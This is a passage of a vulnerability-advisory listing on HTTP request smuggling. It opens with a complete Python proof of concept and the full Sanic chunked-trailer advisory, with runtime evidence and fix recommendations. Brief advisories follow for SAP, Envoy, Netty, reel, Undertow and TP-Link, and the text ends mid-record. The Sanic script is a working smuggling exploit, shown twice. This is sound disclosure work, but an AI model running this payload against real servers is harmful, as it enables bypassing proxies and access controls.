"""Proof of concept for HTTP/1.1 chunked trailer request injection."""

from __future__ import annotations

import socket
from dataclasses import dataclass
from typing import Iterable


TARGET = "sanic-org/sanic"
BASE_URL = "http://127.0.0.1:9381"
HOST = "127.0.0.1"
PORT = 9381
TIMEOUT = 1.0
PROXY = None
AUTH_HEADERS: dict[str, str] = {}


@dataclass
class Case:
    name: str
    payload: bytes
    expected_responses: int
    expected_markers: tuple[bytes, ...]


def build_prefix() -> bytes:
    return (
        b"POST / HTTP/1.1\r\n"
        + f"Host: {HOST}:{PORT}\r\n".encode()
        + b"Connection: keep-alive\r\n"
        + b"Transfer-Encoding: chunked\r\n"
        + b"\r\n"
        + b"1\r\n"
        + b"X\r\n"
    )


def build_case_payload(path: str | None = None, field_name: str = "a") -> bytes:
    prefix = build_prefix()
    if path is None:
        return prefix + b"0\r\n\r\n"
    return (
        prefix
        + b"0\r\n"
        + f"{field_name}:GET {path} HTTP/1.1\r\n".encode()
        + f"Host: {HOST}:{PORT}\r\n".encode()
        + b"\r\n"
    )


def send_payload(payload: bytes) -> bytes:
    response = bytearray()
    with socket.create_connection((HOST, PORT), timeout=3) as sock:
        sock.sendall(payload)
        sock.settimeout(TIMEOUT)
        while True:
            try:
                chunk = sock.recv(4096)
            except TimeoutError:
                break
            if not chunk:
                break
            response.extend(chunk)
    return bytes(response)


def count_http_responses(response: bytes) -> int:
    return response.count(b"HTTP/1.1 ")


def ensure_markers(case: Case, response: bytes) -> None:
    actual_count = count_http_responses(response)
    if actual_count != case.expected_responses:
        raise SystemExit(
            f"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}"
        )
    for marker in case.expected_markers:
        if marker not in response:
            raise SystemExit(
                f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}"
            )


def render_payload(payload: bytes) -> str:
    return payload.decode("latin1", "replace")


def render_response(response: bytes) -> str:
    return response.decode("latin1", "replace")


def iter_cases() -> Iterable[Case]:
    yield Case(
        name="baseline_no_trailer",
        payload=build_case_payload(),
        expected_responses=1,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"Method POST not allowed for URL /",
        ),
    )
    yield Case(
        name="exploit_smuggled_root",
        payload=build_case_payload("/"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"HTTP/1.1 200 OK",
            b'{"test":true}',
        ),
    )
    yield Case(
        name="exploit_smuggled_404",
        payload=build_case_payload("/this-path-should-not-exist"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"HTTP/1.1 404 Not Found",
            b"Requested URL /this-path-should-not-exist not found",
        ),
    )
    yield Case(
        name="offset_control_two_char_field_name",
        payload=build_case_payload("/", field_name="ab"),
        expected_responses=2,
        expected_markers=(
            b"HTTP/1.1 405 Method Not Allowed",
            b"Method :GET not allowed for URL /",
        ),
    )


def main() -> None:
    print(f"Target: {TARGET}")
    print(f"Base URL: {BASE_URL}")
    print()
    for case in iter_cases():
        print(f"=== CASE: {case.name} ===")
        print("Sent payload:")
        print(render_payload(case.payload))
        response = send_payload(case.payload)
        ensure_markers(case, response)
        print(f"Received response blocks: {count_http_responses(response)}")
        print("Raw response:")
        print(render_response(response))
        print("[OK] Case verified")
        print()


if __name__ == "__main__":
    main()

Evidence Files

The attachment package includes the exact PoC and the full runtime output from the verified local execution.

  • evidence/vuln_001_chunked_trailer_smuggle.py: full PoC used for the verified run.
  • evidence/vuln_001_chunked_trailer_smuggle.run.txt: runtime output showing the baseline behavior, the successful smuggled GET / execution, the successful smuggled GET /this-path-should-not-exist execution, and the trailer-offset control case.

Observed baseline behavior:

=== CASE: baseline_no_trailer ===
Received response blocks: 1
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

Observed hidden second request execution:

=== CASE: exploit_smuggled_root ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 200 OK
...
{"test":true}

Observed hidden attacker-controlled path execution:

=== CASE: exploit_smuggled_404 ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 404 Not Found
...
Requested URL /this-path-should-not-exist not found

Observed trailer-offset control:

=== CASE: offset_control_two_char_field_name ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 405 Method Not Allowed
...
Method :GET not allowed for URL /

Impact

An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.

This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sanic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sanic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.12.0"
            },
            {
              "fixed": "25.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:59:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nSanic\u0027s HTTP/1.1 chunked-body handling does not fully consume the `trailer-part` after the terminating `0\\r\\n` chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer `POST /` request that correctly returns `405 Method Not Allowed` is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.\n\nThe issue is a request-boundary integrity failure in Sanic\u0027s core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected `405` for the outer `POST /`, then a separate `200 OK` for a hidden `GET /`. A second exploit variant changes the hidden request path and receives a real `404 Not Found`, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from `GET` to `:GET`, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.\n\n## Steps To Reproduce\n\n1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on `127.0.0.1:9381` and the root route allowed `GET /` but not `POST /`.\n2. From the package root, run the provided PoC:\n\n```bash\npython3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt\n```\n\n3. Review the baseline case in `evidence/vuln_001_chunked_trailer_smuggle.run.txt`. A normal chunked request with `0\\r\\n\\r\\n` returns exactly one response block:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nHTTP/1.1 405 Method Not Allowed\n```\n\n4. Review the exploit case that hides `GET /` in the trailer area:\n\n```text\n=== CASE: exploit_smuggled_root ===\n```\n\nThe PoC sends a single TCP payload containing:\n\n```text\nPOST / HTTP/1.1\nHost: 127.0.0.1:9381\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n1\nX\n0\na:GET / HTTP/1.1\nHost: 127.0.0.1:9381\n```\n\n5. Confirm that Sanic returns two response blocks from that one send:\n\n```text\nReceived response blocks: 2\nHTTP/1.1 405 Method Not Allowed\n...\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\n6. Review the second exploit case that changes the smuggled request path to a nonexistent route:\n\n```text\n=== CASE: exploit_smuggled_404 ===\n```\n\nConfirm that Sanic again returns two response blocks and that the second response is a real routed `404 Not Found` for the attacker-controlled hidden path.\n7. Review the control case with a two-character trailer field name:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\n```\n\nConfirm that the second request is now interpreted as `:GET /`, producing a second `405` with `Method :GET not allowed for URL /`. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.\n\n## Recommendations\n\nAfter parsing the terminating `0` chunk, Sanic must continue parsing and fully consuming the `trailer-part` until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating `0\\r\\n` other than the expected final empty line, and then close the connection instead of keeping it alive.\n\nAdd regression coverage for all three cases shown in the evidence: a normal `0\\r\\n\\r\\n` chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.\n\n## poc\n\n```python\n#!/usr/bin/env python3\n\"\"\"Proof of concept for HTTP/1.1 chunked trailer request injection.\"\"\"\n\nfrom __future__ import annotations\n\nimport socket\nfrom dataclasses import dataclass\nfrom typing import Iterable\n\n\nTARGET = \"sanic-org/sanic\"\nBASE_URL = \"http://127.0.0.1:9381\"\nHOST = \"127.0.0.1\"\nPORT = 9381\nTIMEOUT = 1.0\nPROXY = None\nAUTH_HEADERS: dict[str, str] = {}\n\n\n@dataclass\nclass Case:\n    name: str\n    payload: bytes\n    expected_responses: int\n    expected_markers: tuple[bytes, ...]\n\n\ndef build_prefix() -\u003e bytes:\n    return (\n        b\"POST / HTTP/1.1\\r\\n\"\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"Connection: keep-alive\\r\\n\"\n        + b\"Transfer-Encoding: chunked\\r\\n\"\n        + b\"\\r\\n\"\n        + b\"1\\r\\n\"\n        + b\"X\\r\\n\"\n    )\n\n\ndef build_case_payload(path: str | None = None, field_name: str = \"a\") -\u003e bytes:\n    prefix = build_prefix()\n    if path is None:\n        return prefix + b\"0\\r\\n\\r\\n\"\n    return (\n        prefix\n        + b\"0\\r\\n\"\n        + f\"{field_name}:GET {path} HTTP/1.1\\r\\n\".encode()\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"\\r\\n\"\n    )\n\n\ndef send_payload(payload: bytes) -\u003e bytes:\n    response = bytearray()\n    with socket.create_connection((HOST, PORT), timeout=3) as sock:\n        sock.sendall(payload)\n        sock.settimeout(TIMEOUT)\n        while True:\n            try:\n                chunk = sock.recv(4096)\n            except TimeoutError:\n                break\n            if not chunk:\n                break\n            response.extend(chunk)\n    return bytes(response)\n\n\ndef count_http_responses(response: bytes) -\u003e int:\n    return response.count(b\"HTTP/1.1 \")\n\n\ndef ensure_markers(case: Case, response: bytes) -\u003e None:\n    actual_count = count_http_responses(response)\n    if actual_count != case.expected_responses:\n        raise SystemExit(\n            f\"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}\"\n        )\n    for marker in case.expected_markers:\n        if marker not in response:\n            raise SystemExit(\n                f\"[FAIL] {case.name}: missing marker {marker.decode(\u0027latin1\u0027, \u0027replace\u0027)}\"\n            )\n\n\ndef render_payload(payload: bytes) -\u003e str:\n    return payload.decode(\"latin1\", \"replace\")\n\n\ndef render_response(response: bytes) -\u003e str:\n    return response.decode(\"latin1\", \"replace\")\n\n\ndef iter_cases() -\u003e Iterable[Case]:\n    yield Case(\n        name=\"baseline_no_trailer\",\n        payload=build_case_payload(),\n        expected_responses=1,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method POST not allowed for URL /\",\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_root\",\n        payload=build_case_payload(\"/\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 200 OK\",\n            b\u0027{\"test\":true}\u0027,\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_404\",\n        payload=build_case_payload(\"/this-path-should-not-exist\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 404 Not Found\",\n            b\"Requested URL /this-path-should-not-exist not found\",\n        ),\n    )\n    yield Case(\n        name=\"offset_control_two_char_field_name\",\n        payload=build_case_payload(\"/\", field_name=\"ab\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method :GET not allowed for URL /\",\n        ),\n    )\n\n\ndef main() -\u003e None:\n    print(f\"Target: {TARGET}\")\n    print(f\"Base URL: {BASE_URL}\")\n    print()\n    for case in iter_cases():\n        print(f\"=== CASE: {case.name} ===\")\n        print(\"Sent payload:\")\n        print(render_payload(case.payload))\n        response = send_payload(case.payload)\n        ensure_markers(case, response)\n        print(f\"Received response blocks: {count_http_responses(response)}\")\n        print(\"Raw response:\")\n        print(render_response(response))\n        print(\"[OK] Case verified\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Evidence Files\n\nThe attachment package includes the exact PoC and the full runtime output from the verified local execution.\n\n- `evidence/vuln_001_chunked_trailer_smuggle.py`: full PoC used for the verified run.\n- `evidence/vuln_001_chunked_trailer_smuggle.run.txt`: runtime output showing the baseline behavior, the successful smuggled `GET /` execution, the successful smuggled `GET /this-path-should-not-exist` execution, and the trailer-offset control case.\n\nObserved baseline behavior:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n```\n\nObserved hidden second request execution:\n\n```text\n=== CASE: exploit_smuggled_root ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\nObserved hidden attacker-controlled path execution:\n\n```text\n=== CASE: exploit_smuggled_404 ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 404 Not Found\n...\nRequested URL /this-path-should-not-exist not found\n```\n\nObserved trailer-offset control:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 405 Method Not Allowed\n...\nMethod :GET not allowed for URL /\n```\n\n## Impact\n\nAn attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.\n\nThis breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.",
  "id": "GHSA-wmj6-g64g-j7q5",
  "modified": "2026-09-17T14:59:16Z",
  "published": "2026-09-17T14:59:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/security/advisories/GHSA-wmj6-g64g-j7q5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/pull/3164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/pull/3165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/47349d689d65fa1907977ac100e867894aeafb22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/69a10d3b06babaa9e5f6d1af577364e9e53b6dea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/commit/a332796506c7c588b6930b02a8886e43eb8ea8d6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sanic-org/sanic"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/releases/tag/v24.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sanic-org/sanic/releases/tag/v25.12.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sanic chunked trailer request smuggling allows hidden second request execution"
}

GHSA-WP36-XPJ5-G4W9

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2023-09-28 18:30
VLAI
Details

SAP Web Dispatcher and Internet Communication Manager (ICM), versions - KRNL32NUC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL32UC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL64NUC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, KRNL64UC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, 7.53, 7.73, WEBDISP 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, KERNEL 7.21, 7.22, 7.49, 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, process invalid HTTP header. The incorrect handling of the invalid Transfer-Encoding header in a particular manner leads to a possibility of HTTP Request Smuggling attack. An attacker could exploit this vulnerability to bypass web application firewall protection, divert sensitive data such as customer requests, session credentials, etc.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP Web Dispatcher and Internet Communication Manager (ICM), versions - KRNL32NUC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL32UC 7.21, 7.21EXT, 7.22, 7.22EXT, KRNL64NUC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, KRNL64UC 7.21, 7.21EXT, 7.22, 7.22EXT, 7.49, 7.53, 7.73, WEBDISP 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, KERNEL 7.21, 7.22, 7.49, 7.53, 7.73, 7.77, 7.81, 7.82, 7.83, process invalid HTTP header. The incorrect handling of the invalid Transfer-Encoding header in a particular manner leads to a possibility of HTTP Request Smuggling attack. An attacker could exploit this vulnerability to bypass web application firewall protection, divert sensitive data such as customer requests, session credentials, etc.",
  "id": "GHSA-wp36-xpj5-g4w9",
  "modified": "2023-09-28T18:30:41Z",
  "published": "2022-05-24T19:08:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33683"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3000663"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPXV-X75W-VP46

Vulnerability from github – Published: 2025-01-28 12:31 – Updated: 2025-01-28 12:31
VLAI
Details

A flaw was found in OpenShift Service Mesh 2.6.3 and 2.5.6. Rate-limiter avoidance, access-control bypass, CPU and memory exhaustion, and replay attacks may be possible due to improper HTTP header sanitization in Envoy.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-28T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in OpenShift Service Mesh 2.6.3 and 2.5.6. Rate-limiter avoidance, access-control bypass, CPU and memory exhaustion, and replay attacks may be possible due to improper HTTP header sanitization in Envoy.",
  "id": "GHSA-wpxv-x75w-vp46",
  "modified": "2025-01-28T12:31:07Z",
  "published": "2025-01-28T12:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0752"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-0752"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2339115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WX5J-54MM-RQQQ

Vulnerability from github – Published: 2021-12-09 19:09 – Updated: 2023-08-04 20:07
VLAI
Summary
HTTP request smuggling in netty
Details

Impact

Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.

Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.71.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-43797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-09T18:17:28Z",
    "nvd_published_at": "2021-12-09T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nNetty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.\n\nFailing to do the validation might cause netty to \"sanitize\" header names before it forward these to another remote system when used as proxy. This remote system can\u0027t see the invalid usage anymore and so not do the validation itself.\n\n",
  "id": "GHSA-wx5j-54mm-rqqq",
  "modified": "2023-08-04T20:07:19Z",
  "published": "2021-12-09T19:09:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wx5j-54mm-rqqq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/11891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/07aa6b5938a8b6ed7a6586e066400e2643897323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220107-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5316"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP request smuggling in netty"
}

GHSA-X3V4-PXVM-63J8

Vulnerability from github – Published: 2021-05-24 18:13 – Updated: 2023-01-23 20:29
VLAI
Summary
HTTP Request Smuggling in reel
Details

reel through 0.6.1 allows Request Smuggling attacks due to incorrect Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not maintained any more.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "reel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-14T17:59:38Z",
    "nvd_published_at": "2020-06-01T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "reel through 0.6.1 allows Request Smuggling attacks due to incorrect Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not maintained any more.",
  "id": "GHSA-x3v4-pxvm-63j8",
  "modified": "2023-01-23T20:29:58Z",
  "published": "2021-05-24T18:13:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7659"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/celluloid/reel"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-RUBY-REEL-569135"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP Request Smuggling in reel"
}

GHSA-X562-68W7-4XVF

Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-09-22 18:33
VLAI
Details

A flaw was found in the ChunkReader component of the Undertow HTTP server, which is used by WildFly and JBoss EAP to handle chunked transfer encoding. The issue occurs because the parser uses a single internal variable to store both the remaining chunk size and state flags. By sending a specially crafted request with an extremely large chunk size, an attacker can cause these values to overlap, tricking the parser into thinking a request has finished prematurely. This can allow a second, "smuggled" request to be processed out of sync, potentially bypassing security controls.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-14180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T16:17:28Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the ChunkReader component of the Undertow HTTP server, which is used by WildFly and JBoss EAP to handle chunked transfer encoding. The issue occurs because the parser uses a single internal variable to store both the remaining chunk size and state flags. By sending a specially crafted request with an extremely large chunk size, an attacker can cause these values to overlap, tricking the parser into thinking a request has finished prematurely. This can allow a second, \"smuggled\" request to be processed out of sync, potentially bypassing security controls.",
  "id": "GHSA-x562-68w7-4xvf",
  "modified": "2026-09-22T18:33:09Z",
  "published": "2026-08-11T18:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14180"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70228"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70229"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70230"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70277"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-14180"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494771"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X67C-X34F-8F4W

Vulnerability from github – Published: 2021-12-18 00:01 – Updated: 2026-07-05 00:31
VLAI
Details

An HTTP/1.1 misconfiguration in web interface of TP-Link AX10v1 before V1_211117 could allow an attacker to send a specially crafted HTTP/0.9 packet that could cause a cache poisoning attack.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-41451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-17T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "An HTTP/1.1 misconfiguration in web interface of TP-Link AX10v1 before V1_211117 could allow an attacker to send a specially crafted HTTP/0.9 packet that could cause a cache poisoning attack.",
  "id": "GHSA-x67c-x34f-8f4w",
  "modified": "2026-07-05T00:31:24Z",
  "published": "2021-12-18T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41451"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/download/archer-ax10/v1/#Firmware"
    },
    {
      "type": "WEB",
      "url": "http://ax10v1.com"
